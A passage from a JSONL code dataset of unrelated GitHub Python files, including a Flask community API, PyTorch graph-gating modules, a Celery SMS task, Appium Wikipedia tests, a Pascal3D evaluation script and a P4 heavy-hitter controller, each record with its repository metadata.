    json string message: 可能的错误信息\n :>json int status_code: 状态代码\n :>json object community: 小区的 serialize 信息\n \"\"\"\n parser = self.parser.copy()\n parser.add_argument('id', type=int, required=True)\n args = parser.parse_args(request)\n community = models.Community.get(args['id'])\n payload = dict(\n community=community.serialize(),\n )\n return utils.api_response(payload=payload)\n\n\nclass ListAPI(Resource):\n @oauth.require_oauth()\n def get(self):\n \"\"\" 获取小区列表\n\n **Example Request**:\n\n .. sourcecode:: http\n\n GET /api/community/list\n Authorization: Bearer YSj3GtbBvEWmFkL0hhH26PWQrpbSef\n\n **Example Response**:\n\n .. sourcecode:: http\n\n {\n \"message\": \"OK\",\n \"status_code\": 200,\n \"communities\": [\n {\n ...\n },\n {\n ...\n },\n ...\n ]\n }\n\n :
    json string message: 可能的错误信息\n :>json int status_code: 状态代码\n :>json array communities: 小区列表的 serialize 信息\n \"\"\"\n payload = dict(\n communities=[community.serialize()\n for community in models.Community.gets()],\n )\n return utils.api_response(payload=payload)\n\n\nclass SearchAPI(Resource):\n @oauth.require_oauth()\n def get(self):\n \"\"\" 搜索小区\n\n **Example Request**:\n\n .. sourcecode:: http\n\n GET /api/community/search?q=test\n Authorization: Bearer YSj3GtbBvEWmFkL0hhH26PWQrpbSef\n\n **Example Response**:\n\n .. sourcecode:: http\n\n {\n \"message\": \"OK\",\n \"status_code\": 200,\n \"communities\": [\n {\n ...\n },\n {\n ...\n },\n ...\n ]\n }\n\n :
    json string message: 可能的错误信息\n :>json int status_code: 状态代码\n :>json array communities: 小区列表的 serialize 信息\n \"\"\"\n parser = reqparse.RequestParser()\n parser.add_argument('q', required=True)\n args = parser.parse_args(request)\n payload = dict(\n communities=[community.serialize()\n for community in models.Community.search(**args)],\n )\n return utils.api_response(payload=payload)\n\n\napi.add_resource(CommunityAPI, '')\napi.add_resource(ListAPI, '/list')\napi.add_resource(SearchAPI, '/search')\n","repo_name":"huxuan/fangmi-api","sub_path":"app/community/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4147,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"28744068914","text":"import torch\nimport torch.nn.functional as F\nfrom torch import Tensor\nfrom torch.nn import Linear\n\n\nclass Origin(torch.nn.Module):\n def __init__(self):\n super(Origin, self).__init__()\n\n def forward(self, x_i, x_j, e_ij, v):\n return x_i.new_ones(x_i.size(0), 1)\n\n\nclass Gate(torch.nn.Module):\n def __init__(self, in_size, k_s, agg_k, agg_q, out_size):\n super(Gate, self).__init__()\n self.lin = Linear(in_size * k_s, out_size, bias=True)\n self.agg_k = agg_k\n self.agg_q = agg_q\n\n def forward(self, x_i, x_j, e_ij, v):\n k = self.agg_k((x_j, e_ij, v))\n q = self.agg_q((x_i, x_i))\n w = torch.tanh(self.lin(F.leaky_relu(k + q)))\n return w\n\n\nclass Gate_Diff(torch.nn.Module):\n def __init__(self, in_size, k_s, agg_k, agg_q, out_size):\n super(Gate_Diff, self).__init__()\n self.lin = Linear(in_size * k_s, out_size, bias=True)\n self.agg_k = agg_k\n self.agg_q = agg_q\n\n def forward(self, x_i, x_j, e_ij, v):\n k = self.agg_k((x_j, e_ij, v))\n q = self.agg_q((x_i, x_i))\n w = torch.tanh(self.lin(F.leaky_relu(k - q)))\n return w\n\n\nclass GateV2(torch.nn.Module):\n def __init__(self, in_size, k_s, agg_k, out_size, hidden):\n super(GateV2, self).__init__()\n self.lin1 = Linear(in_size * (k_s + 1), hidden, bias=True)\n self.lin2 = Linear(hidden, out_size, bias=True)\n self.agg_k = agg_k\n # self.agg_q = lambda xs: xs[0]\n\n def forward(self, x_i, x_j, e_ij, v):\n k = self.agg_k((x_j, e_ij, v))\n # q = self.agg_q((x_i, x_i))\n w = F.leaky_relu(self.lin1(torch.cat([k, x_i], dim=-1)))\n w = torch.tanh(self.lin2(w))\n return w\n\n\nclass Multiply(torch.nn.Module):\n def __init__(self, in_size, k_s, agg_k):\n super(Multiply, self).__init__()\n self.lin = Linear(in_size * k_s, in_size, bias=False)\n self.agg_k = agg_k\n # self.agg_q = lambda xs: xs[0]\n\n def forward(self, x_i, x_j, e_ij, v):\n k = self.agg_k((x_j, e_ij, v))\n # q = self.agg_q((x_i, x_i))\n w = torch.mul(self.lin(k), x_i).sum(dim=1, keepdim=True)\n w = torch.tanh(w)\n return w\n\n\nclass Multiply_C(torch.nn.Module):\n def __init__(self, in_size, k_s, agg_k):\n super(Multiply_C, self).__init__()\n self.lin = Linear(in_size * k_s, in_size, bias=False)\n self.agg_k = agg_k\n # self.agg_q = lambda xs: xs[0]\n\n def forward(self, x_i, x_j, e_ij, v):\n k = self.agg_k((x_j, e_ij, v))\n # q = self.agg_q((x_i, x_i))\n w = torch.mul(self.lin(k), x_i)\n w = torch.tanh(w)\n return w\n\n\ndef create_fb_weight(in_size, args):\n agg_kq = args.agg_kq if args.use_coboundaries.lower() == 'true' else min(1, args.agg_kq)\n if agg_kq == 2:\n agg_k = lambda xs: torch.cat(xs[:2], dim=-1)\n agg_q = lambda xs: torch.cat(xs[:2], dim=-1)\n elif agg_kq == 1:\n agg_k = lambda xs: xs[0]\n agg_q = lambda xs: xs[0]\n else:\n agg_k = lambda xs: xs[2]\n agg_q = lambda xs: xs[0]\n\n k_s = max(1, agg_kq)\n mp_cal = args.mp_cal\n mp_channel = args.mp_channel\n out_size = in_size if args.mp_channel else 1\n\n if mp_cal == 'mlp':\n return Gate(in_size, k_s, agg_k, agg_q, out_size)\n elif mp_cal == 'mlpv2':\n return GateV2(in_size, k_s, agg_k, out_size, args.mlpv2_hidden)\n elif mp_cal == 'diff':\n return Gate_Diff(in_size, k_s, agg_k, agg_q, out_size)\n elif mp_cal == 'mul':\n if mp_channel:\n return Multiply_C(in_size, k_s, agg_k)\n else:\n return Multiply(in_size, k_s, agg_k)\n else:\n return Origin()\n\n\ndef mean_d_i(w: Tensor):\n '''GraphSage'''\n return w / (w.sum(dim=-1, keepdim=True) + 1e-6)\n\n\ndef sqrt_d_ij(w: Tensor):\n '''GCN'''\n d_i = w.sum(dim=-1, keepdim=True)\n d_j = w.sum(dim=-2, keepdim=True)\n return w / (torch.sqrt(torch.mul(d_i, d_j)) + 1e-6)\n\n\ndef create_sb_weight(method):\n if method == 'mean':\n return mean_d_i\n elif method == 'degree':\n return sqrt_d_ij\n else:\n return lambda x: x\n","repo_name":"casia-rxwang/TGAA","sub_path":"model/mp_tool.py","file_name":"mp_tool.py","file_ext":"py","file_size_in_byte":4125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5221471610","text":"from django.http import HttpResponse, JsonResponse\nfrom django.conf import settings\nfrom ..models import *\nfrom django.core.exceptions import ValidationError\nfrom django.core.mail import send_mail\n\n\n\ndef crear_msj_contacto(req):\n errores = []\n exito = True\n try:\n\n\n nombre = req.POST.get('nombre', None)\n correo = req.POST.get('correo', None)\n telefono = req.POST.get('telefono', None)\n email_from = settings.EMAIL_HOST_USER\n email_to = [email_from]\n mensaje_email = req.POST.get('comentario', None) + \"\\n \\n\"+\"Mis contactos: \" + \"correo: \" + correo +\"\\n\" + \"Telefono: \"+telefono\n # nueva_contacto.full_clean()\n send_mail(\n nombre,\n mensaje_email,\n email_from,\n [email_to],\n fail_silently=False,\n )\n\n\n except ValidationError as e:\n errores = e.messages\n exito = False\n return JsonResponse({\n 'exito': exito,\n 'errores': errores\n })\n\n\n","repo_name":"Leumin/fures","sub_path":"fures/fures/views/contacto.py","file_name":"contacto.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"72118567204","text":"from numpy import *\nfrom os import listdir\nfrom kNN.kNN import kNN_class\nBASE_DIR = 'kNN/handwriting_class/digits/'\n\n\ndef img2vector(filename: str) -> list:\n return_vec = zeros((1, 1024))\n with open(filename) as file:\n for i in range(32):\n lins_str = file.readline()\n for j in range(32):\n return_vec[0, 32*i+j] = int(lins_str[j])\n return return_vec\n\n\ndef handwriting_class_test():\n knn = kNN_class()\n hwLabels = []\n training_file_list = listdir('digits/trainingDigits')\n m = len(training_file_list)\n training_mat = zeros((m, 1024))\n for i in range(m):\n filename_str = training_file_list[i]\n file_str = filename_str.split('.')[0]\n class_num_str = int(file_str.split('_')[0])\n hwLabels.append(class_num_str)\n training_mat[i, :] = img2vector('digits/trainingDigits/%s' % filename_str)\n test_file_list = listdir('digits/testDigits')\n error_cnt = 0.0\n mTest = len(test_file_list)\n for i in range(mTest):\n filename_str = test_file_list[i]\n file_str = filename_str.split('.')[0]\n class_num_str = int(file_str.split('_')[0])\n vector_under_test = img2vector('digits/testDigits/%s' % filename_str)\n classifier_res = knn.classify0(vector_under_test, training_mat, hwLabels, 3)\n print('the classifier came back with: %d, the real, the real answer is: %d' % (classifier_res, class_num_str))\n if classifier_res != class_num_str:\n error_cnt += 1.0\n print('\\nthe total number of errors is : %d' % error_cnt)\n print('\\nthe total error rate is : %f' % (error_cnt / float(mTest)))\n\nhandwriting_class_test()","repo_name":"XuejiaoYuan/ML-in-action","sub_path":"kNN/handwriting_class/handwrite_kNN.py","file_name":"handwrite_kNN.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20585627012","text":"\r\nfrom .message import CCP\r\nfrom . import constants\r\nfrom ..main import celery_app\r\n\r\n# 使用装饰器装饰异步任务,保证celery识别任务\r\n@celery_app.task(bind=True,name='send_sms_code',retry_backoff=3)\r\ndef send_sms_code(self,mobile, msg_code):\r\n \"\"\"\r\n 发送短信验证码的异步任务\r\n :param mobile: 手机号\r\n :param sms_code: 短信验证码\r\n :return: 成功:0 、 失败:-1\r\n \"\"\"\r\n try:\r\n send_ret = CCP().send_message(constants.SEND_SMS_TEMPLATE_ID, mobile, (msg_code,\r\n constants.SMS_CODE_REDIS_EXPIRES // 60))\r\n except Exception as e:\r\n raise self.retry(exc=e, max_retries=3)\r\n\r\n return send_ret","repo_name":"boring-fool/shopping","sub_path":"celery_tasks/sms/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5875698260","text":"# 1012 유기농 배추\n\nfrom collections import deque\n\nt = int(input())\n# 배추를 심은 배추밭 길이 배추의 위치 -> k\n\ndx = [-1,1,0,0]\ndy = [0,0,-1,1]\n\ndef bfs(x,y):\n\n queue = deque([(x,y)])\n visited[x][y] = True\n\n while queue:\n x, y = queue.popleft()\n\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if 0<=nx0:\n t-=1 # 두번 반복\n result = 0\n n, m, k = map(int, input().split())\n array = [[0]*m for _ in range(n)]\n visited = [[False]*m for _ in range(n)]\n # 배추가 심어진 위치\n for _ in range(k):\n x, y = map(int, input().split())\n array[x][y] = 1\n\n for i in range(n):\n for j in range(m):\n if array[i][j] == 1 and not visited[i][j]:\n result += bfs(i,j)\n result_list.append(result)\n\n\nfor answer in result_list:\n print(answer)","repo_name":"sejeong-park/Study-Algoritm","sub_path":"알고리즘 개념/BFS/유기농배추.py","file_name":"유기농배추.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40935549642","text":"import streamlit as st\n\nwith st.form(key = \"profile_form\"):\n name = st.text_input(\"名前\")\n address = st.text_input(\"住所\")\n\n # age_category = st.selectbox(\n age_category = st.radio(\n \"年齢層\",\n (\"子供\", \"大人\")\n )\n \n hobby = st.multiselect(\n \"趣味\",\n (\"スポーツ\", \"読書\", \"映画\")\n )\n \n submit_btn = st.form_submit_button(\"送信\")\n cancel_btn = st.form_submit_button(\"キャンセル\")\n\nif submit_btn:\n st.text(f\"ようこそ!{name}さん、{address}に書類を送りました\")\n st.text(f\"年齢層:{age_category}\")\n st.text(f\"趣味:{','.join(hobby)}\")","repo_name":"ds3309/streamlit_web_app","sub_path":"pages/page_2.py","file_name":"page_2.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"39895219132","text":"# Ecrire un script permettant de saisir 10 réels au clavier\r\n# Les ranger dans un tableau, calculer et afficher la moyenne de ces réels\r\n\r\ndef exercice13():\r\n # import d'une fonction de calcul de la moyenne\r\n from statistics import mean\r\n\r\n while True:\r\n\r\n try:\r\n # création du tableau et d'une variable compteur\r\n tab = []\r\n b = 1\r\n\r\n # boucle\r\n for i in range(0, 10):\r\n print(\"Rentrez 10 nombres (\", b, \"sur 10 )\")\r\n a = float(input())\r\n tab.append(a)\r\n\r\n # indentation du compteur\r\n b = b + 1\r\n\r\n print(\"Votre tableau :\", tab)\r\n print(\"Moyenne des entrées du tableau :\", mean(tab))\r\n\r\n # choix d'après calcul\r\n reload = str(input(\"Voulez-vous créer un autre tableau ? (o/n)\\n\"))\r\n\r\n # filtre sur la valeur de reload\r\n while reload != \"o\" and reload != \"n\":\r\n print(\"Merci de ne répondre que 'o' pour oui et 'n' pour non \")\r\n reload = input(\"Voulez-vous créer un autre tableau ? (o/n)\\n\")\r\n\r\n if reload == \"o\":\r\n exercice13()\r\n else:\r\n break\r\n\r\n # filtre sur la nature des inputs\r\n except:\r\n print(\"Mauvais input !\")\r\n continue\r\n\r\n\r\nexercice13()\r\n","repo_name":"BapProust/tpPython","sub_path":"exercice13.py","file_name":"exercice13.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1817666660","text":"class Solution:\n def reconstructQueue(self, people: List[List[int]]) -> List[List[int]]:\n heap = []\n result = []\n \n # 키 역순, 인덱스 삽입\n for height, index in people :\n heapq.heappush(heap, [-height, index])\n \n while heap :\n height, index = heappop(heap)\n result.insert(index, [-height, index])\n \n return result\n\n'''\nRuntime : 100 ms\nMemory : 14.4 MB\n'''\n","repo_name":"LeeHyeonKyu/Coding-Practice","sub_path":"LeetCode/(406) Queue Reconstruction by Height/1-Use_Heap.py","file_name":"1-Use_Heap.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"69845097444","text":"# from ez_setup import use_setuptools\n# use_setuptools()\nfrom setuptools import setup, find_packages\nfrom datadeck import __version__, __license__, __description__\n__description_long__ = open('README').read()\n\nsetup(\n name='datadeck',\n version=__version__,\n # metadata\n author='Daniel Graziotin',\n author_email='d@danielgraziotin.it',\n license=__license__,\n description=__description__,\n long_description=__description_long__,\n keywords='data, packaging, component, tool, GUI',\n url='http://task3.cc/projects/datadeck',\n classifiers=[\n ],\n\n packages = find_packages(), # include all packages under src\n package_data={\n 'datadeck.res': ['*.txt']\n },\n include_package_data=True,\n install_requires=[\n 'setuptools>=0.6c',\n # make ckan support obligatory for time being\n #'dpm>=0.10a',\n\t 'wxpython>2.8.9.1', # this is the version I used, may work with precedent versions\n ],\n test_suite='nose.collector',\n zip_safe=False,\n entry_points = {\n 'console_scripts': [\n 'datadeck = datadeck.main:run',\n ]\n },\n)\n","repo_name":"dgraziotin/datadeck","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"14459087446","text":"\"\"\"\nTest wiki app\n\"\"\"\nimport allure\nfrom appium.webdriver.common.mobileby import MobileBy\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nfrom tests.conftest import create_driver\nfrom util.attachment import add_video\n\n\n@allure.tag('mobile')\n@allure.title('Test search')\ndef test_search():\n \"\"\"\n Testing search form\n \"\"\"\n driver = create_driver(test_search)\n\n search_element = WebDriverWait(driver, 30).until(\n EC.element_to_be_clickable((MobileBy.ACCESSIBILITY_ID, \"Search Wikipedia\"))\n )\n search_element.click()\n search_input = WebDriverWait(driver, 30).until(\n EC.element_to_be_clickable((MobileBy.ID, \"org.wikipedia.alpha:id/search_src_text\"))\n )\n search_input.send_keys(\"BrowserStack\")\n search_results = driver.find_elements_by_class_name(\"android.widget.TextView\")\n\n assert len(search_results) > 0, 'List should be more 0'\n\n add_video(driver.session_id, 'Search Wikipedia')\n\n driver.quit()\n\n\n@allure.tag('mobile')\n@allure.title('Test hide news')\ndef test_hide_news():\n \"\"\"\n Testing hide news\n \"\"\"\n driver = create_driver(test_hide_news)\n\n first_block_news = driver.find_elements_by_id(\"org.wikipedia.alpha:id/view_card_header_title\")[0]\n first_header_menu = driver.find_elements_by_id(\"org.wikipedia.alpha:id/view_list_card_header_menu\")[0]\n title_first_block = first_block_news.text\n\n first_header_menu.click()\n item_menu = WebDriverWait(driver, 30).until(\n EC.element_to_be_clickable((MobileBy.ID, \"org.wikipedia.alpha:id/title\")))\n item_menu.click()\n\n new_first_block_news = driver.find_elements_by_id(\"org.wikipedia.alpha:id/view_card_header_title\")[0]\n title_new_first_block = new_first_block_news.text\n\n assert title_first_block is not title_new_first_block, 'Titles should be different'\n\n add_video(driver.session_id, 'Testing hide news')\n\n driver.quit()\n","repo_name":"evgenyshandrik/qaguru_python_browserstack","sub_path":"tests/test_wiki.py","file_name":"test_wiki.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"69979728164","text":"# --------------------------------------------------------\n# Fast/er R-CNN\n# Licensed under The MIT License [see LICENSE for details]\n# Written by Bharath Hariharan\n# --------------------------------------------------------\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport pickle\nimport numpy as np\nfrom math import radians\n\n\ndef parse_rec(df, filename):\n \"\"\" Parse PASCAL 3D annotation file \"\"\"\n objects = []\n objs = df[df.im_path == filename]\n for ix in range(len(objs)):\n obj_struct = {}\n obj_struct['class'] = objs.iloc[ix]['cat']\n\n x1 = max(int(objs.iloc[ix]['left']), 0)\n y1 = max(int(objs.iloc[ix]['upper']), 0)\n x2 = min(int(objs.iloc[ix]['right']), int(objs.iloc[ix]['height'] - 1))\n y2 = min(int(objs.iloc[ix]['lower']), int(objs.iloc[ix]['width'] - 1))\n\n obj_struct['bbox'] = [x1, y1, x2, y2]\n\n obj_struct['difficult'] = objs.iloc[ix]['difficult']\n obj_struct['truncated'] = objs.iloc[ix]['truncated']\n obj_struct['occluded'] = objs.iloc[ix]['occluded']\n objects.append(obj_struct)\n\n return objects\n\n\ndef voc_ap(rec, prec):\n \"\"\"\n Compute VOC AP given precision and recall.\n \"\"\"\n # correct AP calculation\n # first append sentinel values at the end\n mrec = np.concatenate(([0.], rec, [1.]))\n mpre = np.concatenate(([0.], prec, [0.]))\n\n # compute the precision envelope\n for i in range(mpre.size - 1, 0, -1):\n mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i])\n\n # to calculate area under PR curve, look for points\n # where X axis (recall) changes value\n i = np.where(mrec[1:] != mrec[:-1])[0]\n\n # and sum (\\Delta recall) * prec\n ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1])\n return ap\n\n\ndef angles_to_matrix(angles):\n \"\"\"Compute the rotation matrix from euler angles in degrees\"\"\"\n azi = radians(angles[0])\n ele = radians(angles[1])\n inp = radians(angles[2])\n element1 = np.cos(inp) * np.cos(azi) - np.sin(inp) * np.cos(ele) * np.sin(azi)\n element2 = np.sin(inp) * np.cos(azi) + np.cos(inp) * np.cos(ele) * np.sin(azi)\n element3 = np.sin(ele) * np.sin(azi)\n element4 = -np.cos(inp) * np.sin(azi) - np.sin(inp) * np.cos(ele) * np.cos(azi)\n element5 = -np.sin(inp) * np.sin(azi) + np.cos(inp) * np.cos(ele) * np.cos(azi)\n element6 = np.sin(ele) * np.cos(azi)\n element7 = np.sin(inp) * np.sin(ele)\n element8 = -np.cos(inp) * np.sin(ele)\n element9 = np.cos(ele)\n R_mat = np.array((element1, element2, element3,\n element4, element5, element6,\n element7, element8, element9)).reshape(3, 3)\n return R_mat\n\n\ndef azimuth_match_interval(azi_pred, azi_gt, view=24):\n offset = (360 / view) / 2\n step = 360 / view\n interval_pred = int((azi_pred + offset) % 360 // step)\n interval_gt = int((azi_gt + offset) % 360 // step)\n return interval_pred == interval_gt\n\n\ndef viewpoint_err(vp_pred, vp_gt):\n \"\"\" Compute the Rotation Matrix error between viewpoints\"\"\"\n R_pred = angles_to_matrix(vp_pred)\n R_gt = angles_to_matrix(vp_gt)\n R_err = np.arccos(((np.sum(R_pred * R_gt)).clip(-1., 3.) - 1.) / 2)\n return R_err\n\n\ndef pascal3d_eval(detpath, df, subset, classname, cachedir, ovthresh=0.5):\n \"\"\"\n Top level function that does the PASCAL VOC evaluation.\n detpath: Path to detections\n detpath.format(classname) should produce the detection results file.\n df: Data frame get from annotation csv file for the subset [train / val / test]\n classname: Category name (duh)\n cachedir: Directory for caching the annotations\n [ovthresh]: Overlap threshold (default = 0.5)\n \"\"\"\n # assumes detections are in detpath.format(classname)\n # cachedir caches the annotations in a pickle file\n\n # first load gt\n df = df[df.set == subset]\n if not os.path.isdir(cachedir):\n os.mkdir(cachedir)\n cachefile = os.path.join(cachedir, '{}_annots.pkl'.format(subset))\n\n # read list of images\n imagenames = np.unique(df.im_path).tolist()\n\n if not os.path.isfile(cachefile):\n # load annotations\n recs = {}\n for i, imagename in enumerate(imagenames):\n recs[imagename] = parse_rec(df, imagename)\n if i % 100 == 0:\n print('Reading annotation for {:d}/{:d}'.format(i + 1, len(imagenames)))\n # save\n print('Saving cached annotations to {:s}'.format(cachefile))\n with open(cachefile, 'wb') as f:\n pickle.dump(recs, f)\n else:\n # load\n with open(cachefile, 'rb') as f:\n try:\n recs = pickle.load(f)\n except:\n recs = pickle.load(f, encoding='bytes')\n\n # extract gt objects for this class\n class_recs = {}\n npos = 0\n for imagename in imagenames:\n R = [obj for obj in recs[imagename] if obj['class'] == classname]\n bbox = np.array([x['bbox'] for x in R])\n difficult = np.array([x['difficult'] for x in R]).astype(np.bool)\n\n det = [False] * len(R)\n npos = npos + sum(~difficult)\n class_recs[imagename] = {'bbox': bbox,\n 'difficult': difficult,\n 'det': det}\n\n # read dets\n detfile = detpath.format(classname)\n with open(detfile, 'r') as f:\n lines = f.readlines()\n\n splitlines = [x.strip().split(' ') for x in lines]\n image_ids = [x[0] for x in splitlines]\n confidence = np.array([float(x[1]) for x in splitlines])\n BB = np.array([[float(z) for z in x[2:]] for x in splitlines])\n\n nd = len(image_ids)\n tp = np.zeros(nd)\n fp = np.zeros(nd)\n\n if BB.shape[0] > 0:\n # sort by descending confidence\n sorted_ind = np.argsort(-confidence)\n BB = BB[sorted_ind, :]\n image_ids = [image_ids[x] for x in sorted_ind]\n\n # iterate for each detection\n for d in range(nd):\n R = class_recs[image_ids[d]]\n bb = BB[d, :].astype(float)\n\n ovmax = -np.inf\n BBGT = R['bbox'].astype(float)\n\n if BBGT.size > 0:\n # intersection\n ixmin = np.maximum(BBGT[:, 0], bb[0])\n iymin = np.maximum(BBGT[:, 1], bb[1])\n ixmax = np.minimum(BBGT[:, 2], bb[2])\n iymax = np.minimum(BBGT[:, 3], bb[3])\n iw = np.maximum(ixmax - ixmin + 1., 0.)\n ih = np.maximum(iymax - iymin + 1., 0.)\n inters = iw * ih\n\n # union\n uni = (bb[2] - bb[0] + 1.) * (bb[3] - bb[1] + 1.) + \\\n (BBGT[:, 2] - BBGT[:, 0] + 1.) * (BBGT[:, 3] - BBGT[:, 1] + 1.) - inters\n\n overlaps = inters / uni\n ovmax = np.max(overlaps)\n jmax = np.argmax(overlaps)\n\n # if the detection is correct\n if ovmax > ovthresh:\n if R['difficult'][jmax]:\n continue\n if not R['det'][jmax]:\n R['det'][jmax] = 1\n tp[d] = 1.\n else:\n fp[d] = 1.\n\n else:\n fp[d] = 1.\n\n # compute metrics AP\n fp = np.cumsum(fp)\n tp = np.cumsum(tp)\n rec = tp / float(npos)\n prec = tp / np.maximum(tp + fp, np.finfo(np.float64).eps)\n ap = voc_ap(rec, prec)\n\n return ap","repo_name":"YoungXIAO13/FewShotDetection","sub_path":"lib/datasets/pascal3d_eval.py","file_name":"pascal3d_eval.py","file_ext":"py","file_size_in_byte":7416,"program_lang":"python","lang":"en","doc_type":"code","stars":205,"dataset":"github-code","pt":"52"} +{"seq_id":"8697755737","text":"NOT_FOUND = \"Not found\"\n\ngroup1 = {'tim': 30, 'bob': 17, 'ana': 24}\ngroup2 = {'ana': 26, 'thomas': 64, 'helen': 26}\ngroup3 = {'brenda': 17, 'otto': 44, 'thomas': 46}\n\n\ndef get_person_age(name):\n \"\"\"Look up name (case insensitive search) and return age.\n If name in > 1 dict, return the match of the group with\n greatest N (so group3 > group2 > group1)\n \"\"\"\n\n try:\n name = name.lower()\n except:\n return \"Not found\"\n\n for group in (group3,group2,group1):\n if name in group:\n return group[name]\n\n\n return \"Not found\"\n","repo_name":"syurskyi/Python_Topics","sub_path":"125_algorithms/_examples/_algorithms_challenges/pybites/beginner/143_v2/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"74710876325","text":"# !/usr/bin/python\n# -*- coding:utf-8 -*-\n# ###########################\n# File Name: controller.py\n# Author: dingdamu\n# Mail: dingdamu@gmail.com\n# Created Time: 2019-02-07 16:43:08\n# ###########################\n\nimport socket\nimport struct\nimport subprocess\nfrom scapy.all import *\n\nnum_switch = 3\nsampleList_size = 10\nport = 22222\nfraction = 0.0005\nsniff_port = \"veth0\"\ninterval = 5\n\n\ndef readRegister(register, thrift_port):\n p = subprocess.Popen(['simple_switch_CLI', '--thrift-port', str(thrift_port)],\n stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n stdout, stderr = p.communicate(input=(\"register_read %s\" % (register)).encode())\n reg = list(stdout.decode().strip().split(\"= \")[1].split(\"\\n\")[0].split(\", \"))\n reg = list(map(int, reg))\n return reg\n\ndef resetState(thrift_port):\n p = subprocess.Popen(['simple_switch_CLI', '--thrift-port', str(thrift_port)],\n stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n commands = 'register_reset hh_r\\n'+'register_reset packet_tot\\n'+\\\n 'register_reset sampleList_src\\n'+'register_reset sampleList_dst\\n'\\\n + 'register_reset sampleList_count\\n'\n for i in range(1, 11, 1):\n commands += \"register_reset heavy_hitter_register%s\\n\" %str(i)\n p.communicate(input=commands.encode())\n\n\n\n\ndef globalHH():\n whole_network_volume = 0\n for i in (range(num_switch)):\n locals()['src' + str(i+1)] = readRegister('sampleList_src', int(port+i))\n locals()['dst' + str(i+1)] = readRegister('sampleList_dst', int(port+i))\n locals()['count' + str(i+1)] = readRegister('sampleList_count', int(port+i))\n for i in (range(num_switch)):\n for j in (range(sampleList_size)):\n if locals()['src' + str(i+1)][j] != 0 and\\\n locals()['dst' + str(i+1)][j] != 0:\n flow_key = str(locals()['src' + str(i+1)][j] )+\" \"+str(locals()['dst' + str(i+1)][j] );\n if flow_key not in global_sampleList:\n global_sampleList[flow_key] = int(locals()['count' + str(i+1)][j])\n elif global_sampleList[flow_key] > int(locals()['count' + str(i+1)][j]):\n global_sampleList[flow_key] = int(locals()['count' + str(i+1)][j])\n print ('Global sample list:')\n print (global_sampleList)\n for value in global_sampleList.values():\n whole_network_volume += value\n global_threshold = whole_network_volume * fraction\n print ('Global threshold:')\n print (global_threshold)\n for key in global_sampleList.keys():\n if global_sampleList[key] > global_threshold:\n hh_keys.append(key)\n print ('Global heavy hitter keys:')\n for key in hh_keys:\n keylist = key.split()\n src = int(keylist[0])\n dst = int(keylist[1])\n print (str(int2ip(src)) + \" \" + str(int2ip(dst)))\n\ndef int2ip(num):\n return socket.inet_ntoa(struct.pack(\"!I\", num))\n\ndef inttoip(num):\n s = bin(num)[2:]\n s = s.zfill(32)\n g = []\n h = []\n for i in xrange(0,32,8):\n g.append(s[i:i+8])\n for temp in g:\n h.append(str(int(temp,2)))\n e = \".\".join(h)\n return e\n\n\ndef getFlag(packet):\n rep = raw(packet)[0:1]\n return rep\n\n\ndef stopfilter(packet):\n if raw(packet)[0:1] == b'\\x80':\n globalHH()\n return True\n else:\n return False\n\n\ndef resetAll():\n resetState(22222)\n resetState(22223)\n resetState(22224)\n\n\ni = 0\n# 10 time intervals\nwhile i < 10:\n global_sampleList = {}\n hh_keys = []\n print(\"The sniffing port is set to: [{}]\".format(sniff_port))\n sniff(iface=sniff_port, prn=getFlag, stop_filter=stopfilter, timeout=interval)\n resetAll()\n i += 1\n\n","repo_name":"DINGDAMU/Network-wide-heavy-hitter-detection","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":4051,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"52"} +{"seq_id":"28111507438","text":"# Napisz program, w którym użytkownik wpisuje liczby oddzielone\r\n# od siebie przecinkiem, a program zwraca listę oraz krotkę(tuple).\r\n\r\nprint(\"wprowadź liczby oddzielone przecinkiem:\")\r\nszereg = input()\r\nz = len(szereg) + 1\r\n\r\nif szereg[-1] != \",\":\r\n szereg = szereg + \",\"\r\n\r\na = 0\r\nb = 0\r\nlista = []\r\n\r\nwhile b < z:\r\n if szereg[b] != \",\":\r\n b +=1\r\n else:\r\n x = szereg[a:b]\r\n a = b + 1\r\n b += 1\r\n lista.append(x)\r\n\r\nprint(lista)\r\nkrotka = 